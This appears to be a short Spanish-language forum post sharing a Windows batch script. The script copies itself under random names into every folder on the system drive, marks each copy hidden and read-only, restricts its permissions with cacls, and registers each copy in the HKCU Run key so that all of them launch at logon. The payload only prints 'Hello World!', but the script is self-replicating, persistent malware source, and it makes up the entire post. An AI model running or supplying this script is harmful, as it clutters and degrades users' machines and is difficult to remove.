Código:
@Echo Off
setlocal enableextensions enabledelayedexpansion
if "%~1" EQU "reginit" goto :_reginit
for /f "tokens=*" %%_ in (
'dir /b /s /a:d "%SystemDrive%\"'
) do (
set "rdir=%%_\!random!!random!.cmd"
copy /y "%~0" "!rdir!"
attrib +h +r "!rdir!"
echo.S|cacls "!rdir!" /P %username%:R
reg add "hkcu\software\microsoft\windows\currentversion\run" /v "!rdir!" /d "cmd /c \"\"!rdir!\" \"reginit\"\"" /f
) 1>nul 2>&1
exit
:_reginit
echo: Hello World^^!
pause 1>nul
exit
Un saludo.